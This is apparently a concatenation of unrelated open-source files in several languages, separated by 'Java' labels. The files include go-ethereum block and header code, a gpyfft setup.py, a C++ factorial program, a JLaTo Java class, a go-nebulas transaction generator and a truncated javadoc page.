"errors"
"fmt"
"io"
"math/big"
"sort"
"sync/atomic"
"time"
"github.com/kejace/go-ethereum/common"
"github.com/kejace/go-ethereum/crypto/sha3"
"github.com/kejace/go-ethereum/rlp"
)
var (
EmptyRootHash = DeriveSha(Transactions{})
EmptyUncleHash = CalcUncleHash(nil)
)
var (
errMissingHeaderMixDigest = errors.New("missing mixHash in JSON block header")
errMissingHeaderFields = errors.New("missing required JSON block header fields")
errBadNonceSize = errors.New("invalid block nonce size, want 8 bytes")
)
// A BlockNonce is a 64-bit hash which proves (combined with the
// mix-hash) that a sufficient amount of computation has been carried
// out on a block.
type BlockNonce [8]byte
// EncodeNonce converts the given integer to a block nonce.
func EncodeNonce(i uint64) BlockNonce {
var n BlockNonce
binary.BigEndian.PutUint64(n[:], i)
return n
}
// Uint64 returns the integer value of a block nonce.
func (n BlockNonce) Uint64() uint64 {
return binary.BigEndian.Uint64(n[:])
}
// MarshalJSON implements json.Marshaler
func (n BlockNonce) MarshalJSON() ([]byte, error) {
return []byte(fmt.Sprintf(`"0x%x"`, n)), nil
}
// UnmarshalJSON implements json.Unmarshaler
func (n *BlockNonce) UnmarshalJSON(input []byte) error {
var b hexBytes
if err := b.UnmarshalJSON(input); err != nil {
return err
}
if len(b) != 8 {
return errBadNonceSize
}
copy((*n)[:], b)
return nil
}
// Header represents a block header in the Ethereum blockchain.
type Header struct {
ParentHash common.Hash // Hash to the previous block
UncleHash common.Hash // Uncles of this block
Coinbase common.Address // The coin base address
Root common.Hash // Block Trie state
TxHash common.Hash // Tx sha
ReceiptHash common.Hash // Receipt sha
Bloom Bloom // Bloom
Difficulty *big.Int // Difficulty for the current block
Number *big.Int // The block number
GasLimit *big.Int // Gas limit
GasUsed *big.Int // Gas used
Time *big.Int // Creation time
Extra []byte // Extra data
MixDigest common.Hash // for quick difficulty verification
Nonce BlockNonce
}
type jsonHeader struct {
ParentHash *common.Hash `json:"parentHash"`
UncleHash *common.Hash `json:"sha3Uncles"`
Coinbase *common.Address `json:"miner"`
Root *common.Hash `json:"stateRoot"`
TxHash *common.Hash `json:"transactionsRoot"`
ReceiptHash *common.Hash `json:"receiptsRoot"`
Bloom *Bloom `json:"logsBloom"`
Difficulty *hexBig `json:"difficulty"`
Number *hexBig `json:"number"`
GasLimit *hexBig `json:"gasLimit"`
GasUsed *hexBig `json:"gasUsed"`
Time *hexBig `json:"timestamp"`
Extra *hexBytes `json:"extraData"`
MixDigest *common.Hash `json:"mixHash"`
Nonce *BlockNonce `json:"nonce"`
}
// Hash returns the block hash of the header, which is simply the keccak256 hash of its
// RLP encoding.
func (h *Header) Hash() common.Hash {
return rlpHash(h)
}
// HashNoNonce returns the hash which is used as input for the proof-of-work search.
func (h *Header) HashNoNonce() common.Hash {
return rlpHash([]interface{}{
h.ParentHash,
h.UncleHash,
h.Coinbase,
h.Root,
h.TxHash,
h.ReceiptHash,
h.Bloom,
h.Difficulty,
h.Number,
h.GasLimit,
h.GasUsed,
h.Time,
h.Extra,
})
}
// MarshalJSON encodes headers into the web3 RPC response block format.
func (h *Header) MarshalJSON() ([]byte, error) {
return json.Marshal(&jsonHeader{
ParentHash: &h.ParentHash,
UncleHash: &h.UncleHash,
Coinbase: &h.Coinbase,
Root: &h.Root,
TxHash: &h.TxHash,
ReceiptHash: &h.ReceiptHash,
Bloom: &h.Bloom,
Difficulty: (*hexBig)(h.Difficulty),
Number: (*hexBig)(h.Number),
GasLimit: (*hexBig)(h.GasLimit),
GasUsed: (*hexBig)(h.GasUsed),
Time: (*hexBig)(h.Time),
Extra: (*hexBytes)(&h.Extra),
MixDigest: &h.MixDigest,
Nonce: &h.Nonce,
})
}
// UnmarshalJSON decodes headers from the web3 RPC response block format.
func (h *Header) UnmarshalJSON(input []byte) error {
var dec jsonHeader
if err := json.Unmarshal(input, &dec); err != nil {
return err
}
// Ensure that all fields are set. MixDigest is checked separately because
// it is a recent addition to the spec (as of August 2016) and older RPC server
// implementations might not provide it.
if dec.MixDigest == nil {
return errMissingHeaderMixDigest
}
if dec.ParentHash == nil || dec.UncleHash == nil || dec.Coinbase == nil ||
dec.Root == nil || dec.TxHash == nil || dec.ReceiptHash == nil ||
dec.Bloom == nil || dec.Difficulty == nil || dec.Number == nil ||
dec.GasLimit == nil || dec.GasUsed == nil || dec.Time == nil ||
dec.Extra == nil || dec.Nonce == nil {
return errMissingHeaderFields
}
// Assign all values.
h.ParentHash = *dec.ParentHash
h.UncleHash = *dec.UncleHash
h.Coinbase = *dec.Coinbase
h.Root = *dec.Root
h.TxHash = *dec.TxHash
h.ReceiptHash = *dec.ReceiptHash
h.Bloom = *dec.Bloom
h.Difficulty = (*big.Int)(dec.Difficulty)
h.Number = (*big.Int)(dec.Number)
h.GasLimit = (*big.Int)(dec.GasLimit)
h.GasUsed = (*big.Int)(dec.GasUsed)
h.Time = (*big.Int)(dec.Time)
h.Extra = *dec.Extra
h.MixDigest = *dec.MixDigest
h.Nonce = *dec.Nonce
return nil
}
func rlpHash(x interface{}) (h common.Hash) {
hw := sha3.NewKeccak256()
rlp.Encode(hw, x)
hw.Sum(h[:0])
return h
}
// Body is a simple (mutable, non-safe) data container for storing and moving
// a block's data contents (transactions and uncles) together.
type Body struct {
Transactions []*Transaction
Uncles []*Header
}
// Block represents an entire block in the Ethereum blockchain.
type Block struct {
header *Header
uncles []*Header
transactions Transactions
// caches
hash atomic.Value
size atomic.Value
// Td is used by package core to store the total difficulty
// of the chain up to and including the block.
td *big.Int
// These fields are used by package eth to track
// inter-peer block relay.
ReceivedAt time.Time
ReceivedFrom interface{}
}
// DeprecatedTd is an old relic for extracting the TD of a block. It is in the
// code solely to facilitate upgrading the database from the old format to the
// new, after which it should be deleted. Do not use!
func (b *Block) DeprecatedTd() *big.Int {
return b.td
}
// [deprecated by eth/63]
// StorageBlock defines the RLP encoding of a Block stored in the
// state database. The StorageBlock encoding contains fields that
// would otherwise need to be recomputed.
type StorageBlock Block
// "external" block encoding. used for eth protocol, etc.
type extblock struct {
Header *Header
Txs []*Transaction
Uncles []*Header
}
// [deprecated by eth/63]
// "storage" block encoding. used for database.
type storageblock struct {
Header *Header
Txs []*Transaction
Uncles []*Header
TD *big.Int
}
// NewBlock creates a new block. The input data is copied,
// changes to header and to the field values will not affect the
// block.
//
// The values of TxHash, UncleHash, ReceiptHash and Bloom in header
// are ignored and set to values derived from the given txs, uncles
// and receipts.
func NewBlock(header *Header, txs []*Transaction, uncles []*Header, receipts []*Receipt) *Block {
b := &Block{header: CopyHeader(header), td: new(big.Int)}
// TODO: panic if len(txs) != len(receipts)
if len(txs) == 0 {
b.header.TxHash = EmptyRootHash
} else {
b.header.TxHash = DeriveSha(Transactions(txs))
b.transactions = make(Transactions, len(txs))
copy(b.transactions, txs)
}
if len(receipts) == 0 {
b.header.ReceiptHash = EmptyRootHash
} else {
b.header.ReceiptHash = DeriveSha(Receipts(receipts))
b.header.Bloom = CreateBloom(receipts)
}
if len(uncles) == 0 {
b.header.UncleHash = EmptyUncleHash
} else {
b.header.UncleHash = CalcUncleHash(uncles)
b.uncles = make([]*Header, len(uncles))
for i := range uncles {
b.uncles[i] = CopyHeader(uncles[i])
}
}
return b
}
// NewBlockWithHeader creates a block with the given header data. The
// header data is copied, changes to header and to the field values
// will not affect the block.
func NewBlockWithHeader(header *Header) *Block {
return &Block{header: CopyHeader(header)}
}
// CopyHeader creates a deep copy of a block header to prevent side effects from
// modifying a header variable.
func CopyHeader(h *Header) *Header {
cpy := *h
if cpy.Time = new(big.Int); h.Time != nil {
cpy.Time.Set(h.Time)
}
if cpy.Difficulty = new(big.Int); h.Difficulty != nil {
cpy.Difficulty.Set(h.Difficulty)
}
if cpy.Number = new(big.Int); h.Number != nil {
cpy.Number.Set(h.Number)
}
if cpy.GasLimit = new(big.Int); h.GasLimit != nil {
cpy.GasLimit.Set(h.GasLimit)
}
if cpy.GasUsed = new(big.Int); h.GasUsed != nil {
cpy.GasUsed.Set(h.GasUsed)
}
if len(h.Extra) > 0 {
cpy.Extra = make([]byte, len(h.Extra))
copy(cpy.Extra, h.Extra)
}
return &cpy
}
// DecodeRLP decodes the Ethereum
func (b *Block) DecodeRLP(s *rlp.Stream) error {
var eb extblock
_, size, _ := s.Kind()
if err := s.Decode(&eb); err != nil {
return err
}
b.header, b.uncles, b.transactions = eb.Header, eb.Uncles, eb.Txs
b.size.Store(common.StorageSize(rlp.ListSize(size)))
return nil
}
// EncodeRLP serializes b into the Ethereum RLP block format.
func (b *Block) EncodeRLP(w io.Writer) error {
return rlp.Encode(w, extblock{
Header: b.header,
Txs: b.transactions,
Uncles: b.uncles,
})
}
// [deprecated by eth/63]
func (b *StorageBlock) DecodeRLP(s *rlp.Stream) error {
var sb storageblock
if err := s.Decode(&sb); err != nil {
return err
}
b.header, b.uncles, b.transactions, b.td = sb.Header, sb.Uncles, sb.Txs, sb.TD
return nil
}
// TODO: copies
func (b *Block) Uncles() []*Header { return b.uncles }
func (b *Block) Transactions() Transactions { return b.transactions }
func (b *Block) Transaction(hash common.Hash) *Transaction {
for _, transaction := range b.transactions {
if transaction.Hash() == hash {
return transaction
}
}
return nil
}
func (b *Block) Number() *big.Int { return new(big.Int).Set(b.header.Number) }
func (b *Block) GasLimit() *big.Int { return new(big.Int).Set(b.header.GasLimit) }
func (b *Block) GasUsed() *big.Int { return new(big.Int).Set(b.header.GasUsed) }
func (b *Block) Difficulty() *big.Int { return new(big.Int).Set(b.header.Difficulty) }
func (b *Block) Time() *big.Int { return new(big.Int).Set(b.header.Time) }
func (b *Block) NumberU64() uint64 { return b.header.Number.Uint64() }
func (b *Block) MixDigest() common.Hash { return b.header.MixDigest }
func (b *Block) Nonce() uint64 { return binary.BigEndian.Uint64(b.header.Nonce[:]) }
func (b *Block) Bloom() Bloom { return b.header.Bloom }
func (b *Block) Coinbase() common.Address { return b.header.Coinbase }
func (b *Block) Root() common.Hash { return b.header.Root }
func (b *Block) ParentHash() common.Hash { return b.header.ParentHash }
func (b *Block) TxHash() common.Hash { return b.header.TxHash }
func (b *Block) ReceiptHash() common.Hash { return b.header.ReceiptHash }
func (b *Block) UncleHash() common.Hash { return b.header.UncleHash }
func (b *Block) Extra() []byte { return common.CopyBytes(b.header.Extra) }
func (b *Block) Header() *Header { return CopyHeader(b.header) }
// Body returns the non-header content of the block.
func (b *Block) Body() *Body { return &Body{b.transactions, b.uncles} }
func (b *Block) HashNoNonce() common.Hash {
return b.header.HashNoNonce()
}
func (b *Block) Size() common.StorageSize {
if size := b.size.Load(); size != nil {
return size.(common.StorageSize)
}
c := writeCounter(0)
rlp.Encode(&c, b)
b.size.Store(common.StorageSize(c))
return common.StorageSize(c)
}
type writeCounter common.StorageSize
func (c *writeCounter) Write(b []byte) (int, error) {
*c += writeCounter(len(b))
return len(b), nil
}
func CalcUncleHash(uncles []*Header) common.Hash {
return rlpHash(uncles)
}
// WithMiningResult returns a new block with the data from b
// where nonce and mix digest are set to the provided values.
func (b *Block) WithMiningResult(nonce uint64, mixDigest common.Hash) *Block {
cpy := *b.header
binary.BigEndian.PutUint64(cpy.Nonce[:], nonce)
cpy.MixDigest = mixDigest
return &Block{
header: &cpy,
transactions: b.transactions,
uncles: b.uncles,
}
}
// WithBody returns a new block with the given transaction and uncle contents.
func (b *Block) WithBody(transactions []*Transaction, uncles []*Header) *Block {
block := &Block{
header: CopyHeader(b.header),
transactions: make([]*Transaction, len(transactions)),
uncles: make([]*Header, len(uncles)),
}
copy(block.transactions, transactions)
for i := range uncles {
block.uncles[i] = CopyHeader(uncles[i])
}
return block
}
// Hash returns the keccak256 hash of b's header.
// The hash is computed on the first call and cached thereafter.
func (b *Block) Hash() common.Hash {
if hash := b.hash.Load(); hash != nil {
return hash.(common.Hash)
}
v := rlpHash(b.header)
b.hash.Store(v)
return v
}
func (b *Block) String() string {
str := fmt.Sprintf(`Block(#%v): Size: %v {
MinerHash: %x
%v
Transactions:
%v
Uncles:
%v
}
`, b.Number(), b.Size(), b.header.HashNoNonce(), b.header, b.transactions, b.uncles)
return str
}
func (h *Header) String() string {
return fmt.Sprintf(`Header(%x):
[
ParentHash: %x
UncleHash: %x
Coinbase: %x
Root: %x
TxSha %x
ReceiptSha: %x
Bloom: %x
Difficulty: %v
Number: %v
GasLimit: %v
GasUsed: %v
Time: %v
Extra: %s
MixDigest: %x
Nonce: %x
]`, h.Hash(), h.ParentHash, h.UncleHash, h.Coinbase, h.Root, h.TxHash, h.ReceiptHash, h.Bloom, h.Difficulty, h.Number, h.GasLimit, h.GasUsed, h.Time, h.Extra, h.MixDigest, h.Nonce)
}
type Blocks []*Block
type BlockBy func(b1, b2 *Block) bool
func (self BlockBy) Sort(blocks Blocks) {
bs := blockSorter{
blocks: blocks,
by: self,
}
sort.Sort(bs)
}
type blockSorter struct {
blocks Blocks
by func(b1, b2 *Block) bool
}
func (self blockSorter) Len() int { return len(self.blocks) }
func (self blockSorter) Swap(i, j int) {
self.blocks[i], self.blocks[j] = self.blocks[j], self.blocks[i]
}
func (self blockSorter) Less(i, j int) bool { return self.by(self.blocks[i], self.blocks[j]) }
func Number(b1, b2 *Block) bool { return b1.header.Number.Cmp(b2.header.Number) < 0 }
| Java |
// Created file "Lib\src\Uuid\X64\guids"
typedef struct _GUID
{
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[8];
} GUID;
#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } }
DEFINE_GUID(PKEY_Photo_FocalPlaneYResolutionDenominator, 0x1d6179a6, 0xa876, 0x4031, 0xb0, 0x13, 0x33, 0x47, 0xb2, 0xb6, 0x4d, 0xc8);
| Java |
<?php
$model = new waModel();
try {
$model->query("SELECT parent_id FROM contacts_view WHERE 0");
$model->exec("ALTER TABLE contacts_view DROP parent_id");
} catch (waException $e) {
} | Java |
import os
import platform
from setuptools import setup, Extension
from distutils.util import convert_path
from Cython.Build import cythonize
system = platform.system()
## paths settings
# Linux
if 'Linux' in system:
CLFFT_DIR = r'/home/gregor/devel/clFFT'
CLFFT_LIB_DIRS = [r'/usr/local/lib64']
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'src', 'include'), ]
CL_INCL_DIRS = ['/opt/AMDAPPSDK-3.0/include']
EXTRA_COMPILE_ARGS = []
EXTRA_LINK_ARGS = []
#Windows
elif 'Windows' in system:
CLFFT_DIR = r'C:\Users\admin\Devel\clFFT-Full-2.12.2-Windows-x64'
CLFFT_LIB_DIRS = [os.path.join(CLFFT_DIR, 'lib64\import')]
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'include'), ]
CL_DIR = os.getenv('AMDAPPSDKROOT')
CL_INCL_DIRS = [os.path.join(CL_DIR, 'include')]
EXTRA_COMPILE_ARGS = []
EXTRA_LINK_ARGS = []
# macOS
elif 'Darwin' in system:
CLFFT_DIR = r'/Users/gregor/Devel/clFFT'
CLFFT_LIB_DIRS = [r'/Users/gregor/Devel/clFFT/src/library']
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'src', 'include'), ]
CL_INCL_DIRS = []
EXTRA_COMPILE_ARGS = ['-stdlib=libc++']
EXTRA_LINK_ARGS = ['-stdlib=libc++']
import Cython.Compiler.Options
Cython.Compiler.Options.generate_cleanup_code = 2
extensions = [
Extension("gpyfft.gpyfftlib",
[os.path.join('gpyfft', 'gpyfftlib.pyx')],
include_dirs= CLFFT_INCL_DIRS + CL_INCL_DIRS,
extra_compile_args=EXTRA_COMPILE_ARGS,
extra_link_args=EXTRA_LINK_ARGS,
libraries=['clFFT'],
library_dirs = CLFFT_LIB_DIRS,
language='c++',
)
]
def copy_clfftdll_to_package():
import shutil
shutil.copy(
os.path.join(CLFFT_DIR, 'bin', 'clFFT.dll'),
'gpyfft')
shutil.copy(
os.path.join(CLFFT_DIR, 'bin', 'StatTimer.dll'),
'gpyfft')
print("copied clFFT.dll, StatTimer.dll")
package_data = {}
if 'Windows' in platform.system():
copy_clfftdll_to_package()
package_data.update({'gpyfft': ['clFFT.dll', 'StatTimer.dll']},)
def get_version():
main_ns = {}
version_path = convert_path('gpyfft/version.py')
with open(version_path) as version_file:
exec(version_file.read(), main_ns)
version = main_ns['__version__']
return version
def get_readme():
dirname = os.path.dirname(os.path.abspath(__file__))
with open(os.path.join(dirname, "README.md"), "r") as fp:
long_description = fp.read()
return long_description
install_requires = ["numpy", "pyopencl"]
setup_requires = ["numpy", "cython"]
setup(
name='gpyfft',
version=get_version(),
description='A Python wrapper for the OpenCL FFT library clFFT',
long_description=get_readme(),
url=r"https://github.com/geggo/gpyfft",
maintainer='Gregor Thalhammer',
maintainer_email='gregor.thalhammer@gmail.com',
license='LGPL',
packages=['gpyfft', "gpyfft.test"],
ext_modules=cythonize(extensions),
package_data=package_data,
install_requires=install_requires,
setup_requires=setup_requires,
)
| Java |
#include<iostream>
#include<cstdio>
#include<cstring>
#include<cmath>
#include<vector>
#include<algorithm>
#define REP(i,a,b) for(int i=a;i<=b;++i)
#define FOR(i,a,b) for(int i=a;i<b;++i)
#define uREP(i,a,b) for(int i=a;i>=b;--i)
#define ECH(i,x) for(__typeof(x.begin()) i=x.begin();i!=x.end();++i)
#define CPY(a,b) memcpy(a,b,sizeof(a))
#define CLR(a,b) memset(a,b,sizeof(a))
#pragma GCC optimize("O2")
//#pragma comment(linker,"/STACK:36777216")
#define endl '\n'
#define sf scanf
#define pf printf
#define maxn 3000
using namespace std;
struct bign{
int len,v[maxn+2];
bign(){len=0,CLR(v,0);}
void print(){uREP(i,len,1)pf("%d",v[i]);}
bign operator*(int b){
REP(i,1,len)v[i]*=b;
REP(i,1,len){
v[i+1]+=v[i]/10;
v[i]%=10;
if(v[i+1])len=max(len,i+1);
}
return *this;
}
};
int main(){
//freopen("input.txt","r",stdin);
int n;
while(~sf("%d",&n)){
bign ans;
ans.v[1]=ans.len=1;
REP(i,1,n)ans=ans*i;
pf("%d!\n",n);
ans.print();pf("\n");
}
return 0;
}
| Java |
<import resource="classpath:alfresco/site-webscripts/org/alfresco/components/workflow/workflow.lib.js">
var workflowDefinitions = getWorkflowDefinitions(),
filters = [];
if (workflowDefinitions)
{
for (var i = 0, il = workflowDefinitions.length; i < il; i++)
{
filters.push(
{
id: "workflowType",
data: workflowDefinitions[i].name,
label: workflowDefinitions[i].title
});
}
}
model.filters = filters;
| Java |
/********************************************************************
(c) Copyright 2014-2015 Mettler-Toledo CT. All Rights Reserved.
File Name: LogDefinationInternal.h
File Path: MTLoggerLib
Description: LogDefinationInternal
Author: Wang Bin
Created: 2015/6/10 16:01
Remark: LogDefinationInternal
*********************************************************************/
#pragma once
#ifndef _MTLogger_LogDefinationInternal_H
#define _MTLogger_LogDefinationInternal_H
#include "Platform/COsString.h"
#include "Platform/stdutil.h"
#define HEARTBEAT "\a"
#define LOG_SOCKET_RETRY_TIME 3
#define LOGCONFIG_FILE_NAME "LogService.config"
#define DEFAULT_LOG_LENTH 1024
#define LOGCONFIGDIR "LogConfigs/"
#define LOGCONFIGEXTENSION ".config"
#define LOGFILEEXTENSION ".log"
#define DEFAULTLOGDIR "Log/"
#define DEFAULTLOGHOSTNAME "Default"
/************************************************************************
日志命令
************************************************************************/
enum ELogCommand {
E_LOGCOMMAND_LOGDELETE,
E_LOGCOMMAND_LOGWRITE,
E_LOGCOMMAND_LOGCONFIG,
E_LOGCOMMAND_LOGSTOP,
};
/************************************************************************
日志对象类型
************************************************************************/
enum ELogObjType {
E_LOGOBJTYPE_LOGMSG,
E_LOGOBJTYPE_LOGCONFIG,
E_LOGOBJTYPE_NULL, //2015/2/28 add by wangbin 仅在保存日志配置的时候生效,不需要保存这个节点
};
/************************************************************************
日志服务状态
************************************************************************/
enum ELogServerStatus {
E_LogServerStatus_Unknown,
E_LogServerStatus_Outline,
E_LogServerStatus_Online,
};
/************************************************************************
调用写日志线程的是服务端还是客户端
************************************************************************/
enum ELogHostType {
E_LogHostType_Server,
E_LogHostType_Client,
};
inline bool GetLogObjTypeValue(const char *strVal, ELogObjType &val)
{
if (COsString::Compare(strVal, "LOGMSG", true) == 0) {
val = E_LOGOBJTYPE_LOGMSG;
return true;
}
else if (COsString::Compare(strVal, "LOGCONFIG", true) == 0) {
val = E_LOGOBJTYPE_LOGCONFIG;
return true;
}
else {
return false;
}
}
inline bool GetLogObjTypeString(ELogObjType val, char **strVal)
{
switch (val) {
case E_LOGOBJTYPE_LOGMSG: {
COsString::Copy("LOGMSG", strVal);
return true;
}
case E_LOGOBJTYPE_LOGCONFIG: {
COsString::Copy("LOGCONFIG", strVal);
return true;
}
case E_LOGOBJTYPE_NULL: {
*strVal = NULL;
return true;
}
default: {
SAFE_DELETEA(*strVal);
return false;
}
}
}
#endif // _MTLogger_LogDefinationInternal_H
| Java |
/********************************************************************
Export
*********************************************************************/
/** @private */
vs.util.extend (exports, {
Animation: Animation,
Trajectory: Trajectory,
Vector1D: Vector1D,
Vector2D: Vector2D,
Circular2D: Circular2D,
Pace: Pace,
Chronometer: Chronometer,
generateCubicBezierFunction: generateCubicBezierFunction,
createTransition: createTransition,
freeTransition: freeTransition,
animateTransitionBis: animateTransitionBis,
attachTransition: attachTransition,
removeTransition: removeTransition
});
| Java |
/*
* Copyright (C) 2015-2016 Didier Villevalois.
*
* This file is part of JLaTo.
*
* JLaTo is free software: you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* JLaTo is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
* License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with JLaTo. If not, see <http://www.gnu.org/licenses/>.
*/
package org.jlato.internal.td.decl;
import org.jlato.internal.bu.coll.SNodeList;
import org.jlato.internal.bu.decl.SAnnotationDecl;
import org.jlato.internal.bu.name.SName;
import org.jlato.internal.td.TDLocation;
import org.jlato.internal.td.TDTree;
import org.jlato.tree.Kind;
import org.jlato.tree.NodeList;
import org.jlato.tree.Trees;
import org.jlato.tree.decl.AnnotationDecl;
import org.jlato.tree.decl.ExtendedModifier;
import org.jlato.tree.decl.MemberDecl;
import org.jlato.tree.decl.TypeDecl;
import org.jlato.tree.name.Name;
import org.jlato.util.Mutation;
/**
* An annotation type declaration.
*/
public class TDAnnotationDecl extends TDTree<SAnnotationDecl, TypeDecl, AnnotationDecl> implements AnnotationDecl {
/**
* Returns the kind of this annotation type declaration.
*
* @return the kind of this annotation type declaration.
*/
public Kind kind() {
return Kind.AnnotationDecl;
}
/**
* Creates an annotation type declaration for the specified tree location.
*
* @param location the tree location.
*/
public TDAnnotationDecl(TDLocation<SAnnotationDecl> location) {
super(location);
}
/**
* Creates an annotation type declaration with the specified child trees.
*
* @param modifiers the modifiers child tree.
* @param name the name child tree.
* @param members the members child tree.
*/
public TDAnnotationDecl(NodeList<ExtendedModifier> modifiers, Name name, NodeList<MemberDecl> members) {
super(new TDLocation<SAnnotationDecl>(SAnnotationDecl.make(TDTree.<SNodeList>treeOf(modifiers), TDTree.<SName>treeOf(name), TDTree.<SNodeList>treeOf(members))));
}
/**
* Returns the modifiers of this annotation type declaration.
*
* @return the modifiers of this annotation type declaration.
*/
public NodeList<ExtendedModifier> modifiers() {
return location.safeTraversal(SAnnotationDecl.MODIFIERS);
}
/**
* Replaces the modifiers of this annotation type declaration.
*
* @param modifiers the replacement for the modifiers of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withModifiers(NodeList<ExtendedModifier> modifiers) {
return location.safeTraversalReplace(SAnnotationDecl.MODIFIERS, modifiers);
}
/**
* Mutates the modifiers of this annotation type declaration.
*
* @param mutation the mutation to apply to the modifiers of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withModifiers(Mutation<NodeList<ExtendedModifier>> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.MODIFIERS, mutation);
}
/**
* Returns the name of this annotation type declaration.
*
* @return the name of this annotation type declaration.
*/
public Name name() {
return location.safeTraversal(SAnnotationDecl.NAME);
}
/**
* Replaces the name of this annotation type declaration.
*
* @param name the replacement for the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(Name name) {
return location.safeTraversalReplace(SAnnotationDecl.NAME, name);
}
/**
* Mutates the name of this annotation type declaration.
*
* @param mutation the mutation to apply to the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(Mutation<Name> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.NAME, mutation);
}
/**
* Replaces the name of this annotation type declaration.
*
* @param name the replacement for the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(String name) {
return location.safeTraversalReplace(SAnnotationDecl.NAME, Trees.name(name));
}
/**
* Returns the members of this annotation type declaration.
*
* @return the members of this annotation type declaration.
*/
public NodeList<MemberDecl> members() {
return location.safeTraversal(SAnnotationDecl.MEMBERS);
}
/**
* Replaces the members of this annotation type declaration.
*
* @param members the replacement for the members of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withMembers(NodeList<MemberDecl> members) {
return location.safeTraversalReplace(SAnnotationDecl.MEMBERS, members);
}
/**
* Mutates the members of this annotation type declaration.
*
* @param mutation the mutation to apply to the members of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withMembers(Mutation<NodeList<MemberDecl>> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.MEMBERS, mutation);
}
}
| Java |
// Copyright (C) 2018 go-nebulas authors
//
// This file is part of the go-nebulas library.
//
// the go-nebulas library is free software: you can redistribute it and/or
// modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// the go-nebulas library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with the go-nebulas library. If not, see
// <http://www.gnu.org/licenses/>.
//
#include "cmd/dummy_neb/generator/transaction_generator.h"
transaction_generator::transaction_generator(all_accounts *accounts,
generate_block *block,
int new_account_num, int tx_num)
: generator_base(accounts, block, new_account_num, tx_num),
m_new_addresses(), m_last_used_address_index(0) {}
transaction_generator::~transaction_generator() {}
std::shared_ptr<corepb::Account> transaction_generator::gen_account() {
auto ret = m_block->gen_user_account(100_nas);
m_new_addresses.push_back(neb::to_address(ret->address()));
return ret;
}
std::shared_ptr<corepb::Transaction> transaction_generator::gen_tx() {
auto from_addr =
neb::to_address(m_all_accounts->random_user_account()->address());
address_t to_addr;
if (m_last_used_address_index < m_new_addresses.size()) {
to_addr = m_new_addresses[m_last_used_address_index];
m_last_used_address_index++;
} else {
to_addr = neb::to_address(m_all_accounts->random_user_account()->address());
}
return m_block->add_binary_transaction(from_addr, to_addr, 1_nas);
}
checker_tasks::task_container_ptr_t transaction_generator::gen_tasks() {
return nullptr;
}
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_26) on Sun Dec 22 15:55:56 GMT 2013 -->
<TITLE>
Uses of Class org.lwjgl.opencl.KHRGLDepthImages (LWJGL API)
</TITLE>
<META NAME="date" CONTENT="2013-12-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class org.lwjgl.opencl.KHRGLDepthImages (LWJGL API)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/lwjgl/opencl/KHRGLDepthImages.html" title="class in org.lwjgl.opencl"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
